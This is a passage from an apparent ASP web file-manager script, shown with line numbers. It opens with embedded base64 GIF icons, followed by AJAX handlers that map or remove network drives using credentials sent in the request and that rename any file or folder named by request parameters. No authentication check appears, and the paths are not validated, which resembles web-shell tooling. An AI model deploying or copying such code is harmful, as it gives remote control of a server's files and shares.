  961. "EtqIxRVz6nE8EAGGA0mFGQhgggMqMEi73cIgwG4PWmhUQxAmHA4E8jnOXLf/A1x8Izd1d3hQe4NADn+OAQ6LIwuFhndjN0eSPXMKA1iPbQybIQ4HCgkJeHZ3eZkapDMFCQO1oY6xFw0OCr2pqXiHOLC5MA20tX63bMUVDgS9vr9hB5mCzSgCybWgt6PYAF920ajAYQbgMZ7b3aGR4HTj5NME6OkpBgcJCAjbn7eB0tlJ8KBWAnIKbtyT" &_
  962. "oy8VP37sHr1Jd4yBRQbJyAm4tlBEQ4cP//sl48dmwJZ7BBJctJhRAYGOJwz8SsUgpL8BAmDmU7ByJR57MEl8/BVSpEGO2Fg96GkxwbugJGb+uvIwWQI4HQ8dWNrzAVKoFb4cqMVAqkqICTZC1efP4gMFB8CCaMBqrFWzceU2wHgTLh65H+qyvTszp9wDfG/eAQqYQj6tdsnOPPA1nUxkNxO8bGxB8J11BoFVTvfx5gAGo8FC1opMlVrA" &_
  963. "UhOfTsB5gg0wB1drrS2Bps2ZtXfVUflA91/eB4o+fKCq9jNDbnUzBrxX+cO0nMXVSWnR76HNtbVZ5+eVc7zt3FV9T91x3XjanNEbUl+P9wR/NmvVlr/dvgXT/si1wP8TrfD3lH8SuAcKRAPAB9McUEDjknzT+SfeI/0YBhMZN5wyYR0HIghAA+38gQB7pFDCoSlwgYiiXI0sE6JlHBJhBxgOVCjiA8tkEVSNZIgIQo/M3FODOJjUKOQH" &_
  964. "RAZwjxPaucLhkh7wuMw32EB5WxgcLkDlBTHeMiMpR0IJYpBfXqCMIwFlqaUQdUDxon9qSIRVM286Ec8NXqYJghUlnWRZnlD6KWIGGhBaqKH2sfAEoXcyChgLBahYxpuSBkdppThomWltm2owIJSRfgpWqIqYyhmqG6jaKKulugoWoqHOKSs2rN76KqW6+kcrB4euYGuvuG5K7KqoHqsXq8MqO8jzkUTkkKqz6QBpRKzUFvNEjUZk+4MV" &_
  965. "WGgxbA1AlkGMtzLUySa2FyzwnBg1AouuDGsCwh6E1CCix7wyhBkKAml9tRMqq7SCJr8wWHmLSAx85NdB0fxSMCZCIBxDk5/wg9kAS9UiTSp1OMGuxSM0WdRICCT28Sr1VEzyCwovnF/G20BMT8svw+Avhg+VxA2DHkuD48g5j1BvG0X5nLFRAyDEZ9ExqGvi0lgY9ZDK0VSjIdQ6W8lgSAFYzQ9LTUeTR7Nce3AMflWxc1p3Hh7QZ9o8" &_
  966. "zMIOeTdxpRmOaNM9lwDrEPTLNnChgqOOfgORzy9+1Ze4pBEAACH5BAAFAP8ALAAAAACgAFAAAAT/EMhJq704682798KDBIzTfGiqrmzrTsUQzPRQvHiu766gDCOacHDiGY/IXCExAAqfAUdS1ShYC8WpdsVsBqEzxtZzLd/GaI6g2QQ/0xqzGU6fGA4JBILtFtYtCwYCAgYGC2VZf1oNeAl5entfYGKKEoKDmAKHV5VbjY6QkH1RnYWZ" &_
  967. "mZtnnUgGjq6homBElQWmp4MGnKs8BgQHTQyuQKFOTzaltre5Vrs6Db4Hv2yvxMMzAyarAgTcBA63VonNLdDRbE2OIpDTqp0N293RBKfM4y930ebnwY7DAwkCxFUa1I2bPEy57OEoF63LNFcAFQJYMMhBQYPfNElcIYhbAgX5//Q9dHRA4KpL8C4SKLQxRQOL3R4weBDyx8iSG0+pXNkyBcxuCRjMDIkH3YGALbcdUADyQEEpPT/0unhA" &_
  968. "KIOmIQ1EBcCIqVeQGbVu7ZCyYNChIQmMdbD0K9OjGsdy2OlRaFqT9qa69TpProZAPkDuxCNP7NaUe0HilfsOU1sFO6H6BUD1sdPJF3R+VWnYr8EEMhM47Ya5AsVTlp+WBuDgrNVg3CSvRomJLd/Yi3tWfW01Ac/VEm5h8gXZQefJd2Tytgt8gvBTzSVAU/76gdrStQo5yCj8eOmaoGc2LV2oPLznC6IDyOfwXz7M5eN3E66ess1zTSBP" &_
  969. "zh6/UOxTucllAP9++HnXU3/9CcBdevUBsAaBbAiAHIL9NVhBURCKNlYVBeBCIUsWTuAKA/u4slUZKH0YoogQtehIVGbQhmA7FjYyjB7/aNgShygiVOGKlqgDCwIPSNiSHAUA5iGIQHJ1IyyzHIlkdoQk1GRwTxJj5EZTlnFlBfdV809PXerypQQQ4tcTj0gG2GCa58DY5ZkU2KTHDDiOKaccdFKwhiR4DrDlmoj0SUEDgNKAgJuG9iTA" &_
  970. "KLI1itkDo1AiaWmjzHDpapkGsGlplPZh6adyPdpHpKRuJYMsjKbaTAxQHOMqZiFck82suOaqaxohjFBCq7sqAqsxNAZrz6qxAmssGqa6ger1sp2E6sYeACkL7RGdstMCm9Zem+003QIw5bUoSAvGHmxQe1SrZZILwijohuIKTnFcUkgq4bjbAbJPxCvvvIslgwm+xeprwbBCoJvliO5589PDt+BrMFmh5pklAv2wcUBobZHkyzyZLFPP" &_
  971. "xGThB2V7A1A3AFOuQAMyLl6S7EF7sAR1DgJWoaPAvNBwJ8AV4bq7RLqQPIDyADnnB5HLmZgpMwh25nh00isvDQ1CIz+twicov8bGzi3Ph0vQWnP1yTk7U82yIwWVVzYOd9gs2lJJf8TyaPMw+XYODKn81QE/Wbm3M30HYxl3ZA+uQS/ybNfNgoqvGAEAIfkEAAUA/wAsAAAAAKAAUAAABP8QyEmrvTjrzbv/QCMow5AcDxIwTgO+cCzP" &_
  972. "tGYcyVPuauD7g0JtSCwaPwVcIoFoIga932/gOlqvWJkyAXVGpT9HdkwuAwwE3ICx9H7BPoZ5Tqc10ofDzuSGw+uAgR14eXtdTn5ggouMBgJpCQp5ent9iXGMmXQNDgSeCQwMD4WVlolimqljnZ4ED6GiaqWIiVRzDQW5BVWqY2itrrAMkoYpTlBwQXO6zEK9WaytoLAnJDtLeycPQC3LzczPRwuOkgetB8IMk1wPJwK8i7jfuvDhMiIC" &_
  973. "+Qr7CtLCk+bCzWtmr0a+gwf49fsU6kQeAvU0FTDgSABFggVlLDiYj4BCc57/cEgiYKBgRY4CFujKKOMkQn4gPaHK6BLlSpYwUOZzkHBfq24ZJ9Y8aGAXTiQUZepM089BSZwUh+YretRD1F+edFqsKuGqVgFcOVx1BEzngrAUH/2c+jQsBqFXgTlA6RYrMJIU3WYYG7XswYgs1d71RFXvBb5R1eY763bj4FZgDU+QV8Ai4qiSz3R8HFly" &_
  974. "s4qX2+rlGI3A3M56v51E7MzwV46SKesax3ZsZs1MRxL1PI+2Zcy3byjcd2Au49QDx11tndnBcJio3Q4Ed5vCr+f7REufnqs6hWh5YJrOLPsbYMmP797m7p3CuRxsYlYf2P47gWnCEoyvLvt8cPzpJKBd/30EdvVKOqE8MGCB9aVxoDCjEMDghABMogB8D5RzAIUMAuThJBwWiAcX1zwUIoEGWGPIAAoseKJhDTCwYgkM+PciWiSumEB0" &_
  975. "NxqmhIw7sHFCj9UtYeSRRhJ525GHPLGEkpnhYIwbCCjAoAMprADUf1Q6UWN9BQyQDHOSMdHlEzxKJqYftix5ZgkJtOfAJQHMpGYJXhjS3jaXyHGbIU340MQA7dEJhAnv6KXiGwEgQKZhhgaQzaOB4VmLjUfxmcgT2WDaSwNM0GmnYXNewukeaQbFqBR+/rnpjHG6Fal3YcJxainueKrJrHLyOSigThh5AKXPaOpHqwSqyIMXRx6g6+ki" &_
  976. "pZ4yoQAr5olkqr2smcyzYYE6SxNHAmmOixJpOwWxtOboRTvY7DAJRBlhyQ23MI7QhQlGGgKQhFBWtcUSQLqbUA7FkduvJgYgaYg21MhE78Fz/Kvvg6GEdABRY9EDcR1J5LvDPgh65JNgLqnU3cZ03ECiQwCy8dFdNt2EcsoAUTzMcMAUx1FRuTw8Mw2EUByJQvpZTMDO1P1sxh154KffcEUTEvPJSs+BhgLxeTJcTJNMjW7V0OQs3jnm" &_
  977. "IC0z2LeAR5wDpelMlMZoA2IAK2VvBhlHScctCD4HtVLy2Xov4ttvUcEdOJQRAAAh+QQABQD/ACwAAAAAoABQAAAE/xDISau9OOvNu/8GcRyEmJzPMCRC871wLM/024ijog4P4iO7RKFGLBqPMYOAkHgoRrvBb4oIBBgOF3LL7cYajtKBQX4kdtWpdW0dLLzwuFwSLiXI5Gg14GP7B1pzgoMwC0oETyUPeAw+Kmt9fmwOhJWWGA0CmgIH" &_
  978. "Cp4Ei3iOA5CSfgyXqambmp6ud6JAUlZ7pmuquIMLrAKuroxSKmm1tgG5x10FBiEEDpudvrBkslKRxajI2UXLyyUlmoi+THhnKj3WppTa6zLc3d4EmtCfJg8kJijEbIDs/R/K7uA1E+BgnrcsGBaQ+vPGn8MN7pYtgbcJRzMDHAQ8aIPwoccKDf8KFNAUUSCvjyiLFFjAklVAb6wCpZz5YiVLQy65TdTUkKZPDw1uslSyKaKBIT+TerAp" &_
  979. "lChJdylDriwgU2kGpk2LckuJlSVSq1eFNlWy7KvHrjfNgq2AVqhaj0HFCq26VkJcuSzpPmybtu4Fvm/P4hXq96/cwIIlClhGuLAFqQuoJlXGi2dkx5gnOK28QG9mq5Qrk/yMWadojKQLR8yJOnVdo0Zd+9VJcavstcoEejt6u24d3QR6r90FPF5P4T+J/h64GLlS0Sd9aqyCxbPfitBIbKKpUJKb1AYK+vJ0wEFrlAu9Wwe7YN74A8c9" &_
  980. "CigWQF1mA+PHn/e48RrpJfl9Yt//R/RZQZo3OZDnzUwFGvNZcfDM1J8tQLCwnnRiNMFAAvcMKB991Aih2jiMbEjAfh6l5wc1KiRwYVTSlOgidyrSEsUOAsx2QCiM2IPiRxrRwmIUCfiFgwIaOjFCcErd6OQAfo0g5ZRSWvWkHicc0IJSVJbT4gFW6fDkDydkiZhHRz7JwJnyjelImVm+yI4BUKh5gJzsNOAlGj7AWWaOPzFx5QmA/lTA" &_
  981. "nj+Y4SeHSTWQgpNlgqlUJmJWuGiZSt3B5w8rFHbpCQyoQMKPD5V5DhUIsDnTAZdGISUBeB7DagKokhmrQwYsSuSUTKKUayO1qlAoWLOC6iqVpPZzQK2jFFlX9QHFRvGElEgmcNFHBdQKCQK3PkRnORxOyeNB3VYiDDprfOcYlSPwyAA8HrIj5iym8FMYDtQyYi08yR4jgDD0xWsVnVPGeA++i8WHjJ702oLNveKS440vMbFzaIOY3SBl" &_
  982. "KPuG48omDphXVjYNYHwfPge7p+VE8bjjVblHTGjKw58xg6A4LJewWV+rBCzbcr5ouVw8LvF8SY3pwjwTGBOT54xAKxc1VyrdMSTcIUtWZBIvbuESZAADdOTcLqwI5AzXjTnXDy9bF5222utkAvJulRnQNdz+4ETQYoptIpbSeBPiDitiqRp4NgBxU/jhjYoUGeCM3xYBACH5BAAFAP8ALAAAAACgAFAAAAT/EMhJq7046827/5MhEITj" &_
  983. "EMdBGGDrvnAsb4vopCSRMI9yJINB4iBozI7IpJLTEDgFB4VUx6g+gtjE0Ljser+dgmFschKk0l2VgUBgBwztgQuu27vj8YgERSuCVQNtWG2Fc3eIiTB5Yzkkfn9wbINtAQGFCAkFipydGWKMjjp+gJNuCJaXhUJ0nq6JDWJOeaKQpZipqoMDAq++dwULC0+zolFoQFW4qai5A62/0UjBwsRPxn4PgW65zbkBAwvS4zMNwsIixAaiN2hU" &_
  984. "VwPM387Q5PZh5zXWAuskDmYqSpw4IOjSvG8O7in0QO1cuid6/jkRd4FApYOpGCzcqKGhQ3Vj/zo0AIIxF8eTFjw6TGdgE8MEJVOhnCnBXL6b9ZjEK6mR5kyV51y6EBAzoc+fNxcIfbFz3rOjNGMFK5ATxIKmqcJB3apEwANLAxxU5Uq2rNmzaNOqXcu2rdu3cOPKXegVFQOxc9VedUoxLwapSsf6wkrP7wWgS6URLWnU8ASgwhL/+srT" &_
  985. "8QSbSYUJ5hTTkmUJkIOS6xzgM4DQ58hRxuhGSBG/qIWRW8z6jaa81PTwMxDZHmFmb4Ik2IzW3ENiC4gr2vutdXBeeY+ro0t513Mhc2Xt4yfZ9/U3cxmBDMnxe5A2Q167ZcQ+z8lIwTFp2bJej6PdLDgKeI5JyPxDbDUiCv8J5G00UnyFzDdfL2wVMKAj3dlTABDnFfKAgnK0tcCDOfTFURN/DIKhgm2JwCE/UI04YltPnJCDRAz69IOK" &_
  986. "OzyAQ35nbWcNVAbQKFwKOCjH0UMoSKECilDNqCAWQAJJwFnDtAPJATj61ICSOwThQ5MpVMlVH5BI0RiPM8bBZZNPmmVAmFOscNaZQCqQwAMleOnTCMcY+eKbZyqgTRUvCkmOMXOamWZZKHD5ZxyOjEmTI2qsEYegChnApQKSBpSDnSftEamkCRxKVqIpRBoqOzyiIKmkPnBqJal/njrgVg58uoaNKqC1zgEXaupICrN4+KGtwQ2n1h4D" &_
  987. "GmkNpa5EUajndUEAeFY/tUyxz0ykfkcfWi7mcAwR+whbaanXxZFAjGY10O0ZPsDohItjRCgNCvzJx+xGJqJAwD6OMGIgAW9Ugkkm8pK1nSjscQRPQQO7Yexa0q27gm4t3WvHjIIsk4oCFi80DDGi8KNOb/b0mMDAB2l1LMj9hksyOT9o7FTH9zRxzabSCZAPzV1cWUhnjkKZ72778CbaPQ9cVJlboOg2cj4K7ffbPHCJZ01SCh1IWlx5" &_
  988. "XH1Twa9M6M1BPcEFym6Z8QzGlUXBlplSKE0Njto+ITYTc86IKxdgVB3lFVh4mSb44IQXbkEEACH5BAAFAP8ALAAAAACgAFAAAAT/EMhJq7046827/0BhjKRgLmCqrmzrbk1RLORI3CZxKIRjvMCgcOiRzUwmw225UzhvjgZxSq2qjCKkwLEkJBLOcOLxIPys6DQ6ZjRodbfDNzwYMO6KA0Gq7vtdWAVaAgd6XnMKdXZ3D4UEf5CRRViD" &_
  989. "jodgCYp3inV7kp+gE4FuSHCXiZoIqpwHfKGvfqNaDoZfYJyqq4oJrbC+aWwyC4NMYKh1uQicXwK/zlWBw0hKN3R2yZwDXwfP3UTRNSS0Tne5isnKrt7rLcEF6hQGDgkMugMIAQHJCQXs/moNCODKh04bvH8Ihwi8p69gnWYJIxKRg85cnQQSMwZpcKBivoYD/zRicPAAH4MoIjHcU/WxJYJ+KSUUGNAy3wCYMSegwlfT5kGJNHsGGPBT" &_
  990. "owCGQvM5iOkgqdKcFBLwTMog5gOnAapClYk1X8yuAbZOAPu160UBRRNedapV5Nqkynbh1NjU6dKUdeFmS5D2X9CeRHP+rRk3G0SRMwHPRTyYYLZdUEnaRClWMsjHisRqzoA52+bPFY49VsULLejNR0evstXrtNhMuHLZ2tbXdcICsJGpejCbmW2xAhKt7r3t92bixI1rRm6LwQBHZ5SLlINcUSFHtaV3M1D94nVH2jVSb279e6Hoxt1l" &_
  991. "B8VxtqI85vVID2TknwHq2uJ/V04fS0T95qXXn/8R672iA4BP9ICeZgP6h9B98SnwAAOGQFHgbQ3KENGB302YQBdQfGYEDaQIYICGCQX0nQIMfAjiDQvmJMwgSCxm34F5vLjEXWI1IA2NJsakI4iflUjjiSkNieMJYhmpBQkpCaBjGAdocaE3JUxTQ0rUdBEGD4NAVYOUS5gYY0RcMEEljSjERMKQZ6aYJgFUOgCkjF2+eBiXUuYIpAlQ" &_
  992. "kamjAG0G+ucWZoxgI0KCgohEk38uEY5RiMZB5SNb/fgGDuHEuc4sTXxJWU40ztkpkhGVGOqXPWzVADEwdmqiDFdKIg2dXzphiKcS0ZCDmWPWWN8/Jqwaxo6gnTpIIP+8miuzPXfwgulmymoRSK2RhFrHHdzyJWI4g5zILLE3QMstI9NqBq619D2ow7mb7GKaulme0F9C88BrUX7YriMCKeLei1ADE3K7LzYMndTvL+7QtzAkO5Cx0jkN" &_
  993. "CXUTVBlKxGE2PE0F2MOwDJgRhAcMVLFdrmIBsiQHmuyxUG2F542KnBD0slAy23dMMmTl/A91PGMVs88zy7ESSygTbV9HQX+s9G253Xzx0xEFV/NQo1Kt9dYcRAAAIfkEAAUA/wAsAAAAAKAAUAAABP8QyEmrvTjrzbv/VFMUi2GaBaiubOu+4EgaQn0acK7v/CuXtSCNQBAYFr2kcpkTjWjBGpHoCDaY2KzWIitAg4TDtBjcms/JblTg" &_
  994. "OIiJboXiIEDb7yx1NCw+JBJygQ5XeIWGF11fAm5if4CBCgQOh5SUTl5RbmGOkJEEOJUgAg8IAQyDoSs/X2EEnHIJDAMMCQepHQUDAbu8Aym3H6s1DkR/gQPIswwMBITAF7q80gPOzxtOJSbFx8nLy2LWFgLS5AGT4SsNi7Dd3g9uoOgAD+XSDPIsAnLt3nPg+PXIDUggoBq+DcQeeJOFAAGyWgcDTnv46+A1BwqXNXSYjBo+ehL/A3RM" &_
  995. "YNAihgMKN3ZEdqDkrXESOSarY3KDAT8ruxHEF62czGQJanIgkBMoRHm5fBZF8IeOy5oNig50ZHEUr5/INjqq9dRkrGQbGw4UqmCp1q0thVbwk4BUWLEVDwow63DrH5pqJRj48zYsSZMNEqz0a/doXgkHGPQVOwDvwQKCwTZ8UPjP4QlRFwMVqq7sgLqVLV+WkDXsytFsKzN4Jyae0I4NryIbvbfyQ0ZiuobzXI/paACpHSXDrUntXIke" &_
  996. "LzcILmuAP+KuD0YNeY42W1rEcRNQyyDkvd8UsmdXG3IX+PDiDyhoKyk6uvIBzk/gg1tBxgRTUH30Ll9v9owMvEGF/1zU9ScBfep5g98YnxzUk0C65dUAffcxOCA+SQkUl4EGhEGZgBaaZJVI+hlogYUhmmigACjCQYcRSKj4W4coykGGFTKORgyDcry4Ro7K7QjHHFWsIUCMQOY1RCtGCpEkeE3++ORoUbJBBApTKtnkGDdkKdQCRo5h" &_
  997. "RJdeihiFkJ/cYMCGZYajDhhTqHmCiZcUEGE4QBAxppzujdZFF7TxeYIAMtyJ1J+AHiYoFGsmKiGiXRj6jBdyCoHoYZD+eRmfQSyAqKS3dJGNDUcEOmgNnkKalzBG/kbpCamqqtYIQDTZ56qZyvCoIlFgCV6uuq7KqxAmnFfnp5etQcwbRsgHbNKgUmgyBqiHXmpqi0X0Vye11mDSYhVItmkRjWOoB8gB1YlrUbmvyFGiuvJY6YoxsKz2" &_
  998. "QIMXjFLKKdzCmwMUBHTSzgO3qZdVOb74iwaY63CDjGIyqYRcvwq3UAMkkc2i0mcBbFRgxVt05jBDYpXSsckSfQfyFgHvo4xpJsdW3spmkAugaVehLBHNZuwYi0aM5Vyeyjxj0cCy3jDG8cnlpVs0FgY4EMsDBIN1ssz1JPd0yHwMhjPCbG6dRYcHPNzWxp+ZPMC7YttxU1MGD1RQ23RPGQEAOwA="
  999.  
  1000. img_dir = "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs="
  1001. img_lvUp= ""&_
  1002. "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO"&_
  1003. "NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi"&_
  1004. "Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk"&_
  1005. "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG"&_
  1006. "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA"&_
  1007. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"&_
  1008. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"&_
  1009. "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5"&_
  1010. "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf"&_
  1011. "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ"&_
  1012. "ADs="
  1013.  
  1014. img_txt = ""&_
  1015. "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ"&_
  1016. "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7"&_
  1017. "UpPWG3Ig6Hq/XmRjuZwkAAA7"
  1018.  
  1019. img_img = ""&_
  1020. "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA"&_
  1021. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci"&_
  1022. "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd"&_
  1023. "FxEAOw=="
  1024.  
  1025. img_unknow = ""&_
  1026. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U"&_
  1027. "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo"&_
  1028. "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31"&_
  1029. "/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4"&_
  1030. "/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP"&_
  1031. "wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz"&_
  1032. "9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ"&_
  1033. "66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io"&_
  1034. "24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"&_
  1035. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"&_
  1036. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"&_
  1037. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"&_
  1038. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"&_
  1039. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"&_
  1040. "AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz"&_
  1041. "aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM"&_
  1042. "uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC"&_
  1043. "yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj"&_
  1044. "yAsokBkQADs="
  1045.  
  1046. '*************************  media.asp  *************************
  1047.  
  1048.  
  1049. sub ErrHandle(rspText)
  1050. Dim myError
  1051.     if Err.Number<>0 then
  1052.         set js = new JSON
  1053.  
  1054.         set myError = server.createObject("scripting.dictionary")
  1055.             with myError
  1056.                 .add "error", err.number
  1057.                 .add "errorDesc", err.Description
  1058.             end with
  1059.  
  1060.         Response.Write rspText &" = {"
  1061.         Response.Write js.toJSON("error", myError, true)
  1062.         Response.Write ","
  1063.         Response.Write ajaxInfo()
  1064.         Response.Write "};"
  1065.         Response.End
  1066.     end if
  1067. end sub
  1068.  
  1069. sub ajaxExplorer()
  1070.     on error resume next
  1071.     Dim infoList, dirList, fList
  1072.     infoList = ajaxInfo()
  1073.     dirList = filesfoldersList()
  1074.  
  1075.     Response.Write "lstResponse = {"
  1076.     Response.Write infoList
  1077.     Response.Write ","
  1078.     Response.Write dirList
  1079.     Response.Write "};"
  1080. end sub
  1081.  
  1082. function ajaxInfo()
  1083.     on error resume next
  1084.     Dim myInfo
  1085.     set js = new JSON
  1086.  
  1087.     set myInfo = server.createObject("scripting.dictionary")
  1088.         with myInfo
  1089.             .add "path", folderLocation
  1090.             .add "filepath", FilePath
  1091.         end with
  1092.  
  1093.     ajaxInfo = js.toJSON("info", myInfo, true)
  1094. end function
  1095.  
  1096. function ajaxMapDriver()
  1097.     on error resume next
  1098.     Dim objNetwork, myInfo, driverLetter, remoteShare, userName, password
  1099.  
  1100.     driverLetter = Request("driverLetter")
  1101.     remoteShare = Request("remoteShare")
  1102.     userName = Request("userName")
  1103.     password = Request("password")
  1104.  
  1105.  
  1106.     set js = new JSON
  1107.     set myInfo = server.createObject("scripting.dictionary")
  1108.  
  1109.     Set objNetwork = CreateObject("WScript.Network")
  1110.     objNetwork.MapNetworkDrive driverLetter & ":", remoteShare, True, userName, password
  1111.     if Err.Number <> 0 then
  1112.         myInfo.add "error", Err.Number
  1113.         myInfo.add "errorDesc", Err.Description
  1114.     else
  1115.         myInfo.add "error", 0
  1116.         myInfo.add "errorDesc", ""
  1117.     end if
  1118.     Err.Clear
  1119.  
  1120.     with myInfo
  1121.         .add "action", "mapDriver"
  1122.         .add "driverLetter", driverLetter
  1123.         .add "remoteShare", remoteShare
  1124.         .add "msgResponse", "Mapped " & driverLetter & ": to " & remoteShare & " !"
  1125.     end with
  1126.  
  1127.     ajaxMapDriver = js.toJSON("action", myInfo, true)
  1128. end function
  1129.  
  1130. function ajaxRemoveDriver()
  1131.     on error resume next
  1132.     Dim objNetwork, myInfo, driverLetter
  1133.  
  1134.     driverLetter = Request("driverLetter")
  1135.  
  1136.     set js = new JSON
  1137.     set myInfo = server.createObject("scripting.dictionary")
  1138.  
  1139.     Set objNetwork = CreateObject("WScript.Network")
  1140.     objNetwork.RemoveNetworkDrive driverLetter & ":"
  1141.     if Err.Number <> 0 then
  1142.         myInfo.add "error", Err.Number
  1143.         myInfo.add "errorDesc", Err.Description
  1144.     else
  1145.         myInfo.add "error", 0
  1146.         myInfo.add "errorDesc", ""
  1147.     end if
  1148.     Err.Clear
  1149.  
  1150.     with myInfo
  1151.         .add "action", "removeDriver"
  1152.         .add "driverLetter", driverLetter
  1153.         .add "msgResponse", "Driver " & driverLetter & ": removed !"
  1154.     end with
  1155.  
  1156.     ajaxRemoveDriver = js.toJSON("action", myInfo, true)
  1157. end function
  1158.  
  1159. function ajaxRenameFile()
  1160.     on error resume next
  1161.     Dim fileObject, myInfo, fileName, fileId, newName
  1162.  
  1163.     fileName = Request("fileName")
  1164.     fileId = Request("fileId")
  1165.     newName = Request("newName")
  1166.  
  1167.     set js = new JSON
  1168.     set myInfo = server.createObject("scripting.dictionary")
  1169.  
  1170.     Set fileObject = fso.GetFile(folderLocation & fileName)
  1171.     fileObject.Name = newName
  1172.     if Err.Number <> 0 then
  1173.         myInfo.add "error", Err.Number
  1174.         myInfo.add "errorDesc", "Unable to rename """ & fileName & """ !" & vbCrLF & Err.Description
  1175.     else
  1176.         myInfo.add "error", 0
  1177.         myInfo.add "errorDesc", ""
  1178.     end if
  1179.     Err.Clear
  1180.  
  1181.         with myInfo
  1182.             .add "fileId", fileId
  1183.             .add "newName", newName
  1184.             .add "action", "renameFile"
  1185.             .add "fileName", fileName
  1186.             .add "msgResponse", "Renamed """ & fileName & """ to """ & """" & newName & """ !"
  1187.         end with
  1188.  
  1189.     ajaxRenameFile = js.toJSON("action", myInfo, true)
  1190. end function
  1191.  
  1192. function ajaxRenameFolder()
  1193.     on error resume next
  1194.     Dim fileObject, myInfo, folderName, folderId, newName
  1195.  
  1196.     folderName = Request("folderName")
  1197.     folderId = Request("folderId")
  1198.     newName = Request("newName")
  1199.  
  1200.     set js = new JSON
  1201.     set myInfo = server.createObject("scripting.dictionary")
  1202.  
  1203.     Set fileObject = fso.GetFolder(folderLocation & folderName)
  1204.     fileObject.Name = newName
  1205.     if Err.Number <> 0 then
  1206.         myInfo.add "error", Err.Number
  1207.         myInfo.add "errorDesc", "Unable to rename """ & folderName & """ !" & vbCrLF & Err.Description
  1208.     else
  1209.         myInfo.add "error", 0
  1210.         myInfo.add "errorDesc", ""
  1211.     end if
  1212.     Err.Clear
  1213.  
  1214.         with myInfo
  1215.             .add "folderId", folderId
  1216.             .add "newName", newName
  1217.             .add "action", "renameFolder"
  1218.             .add "folderName", folderName
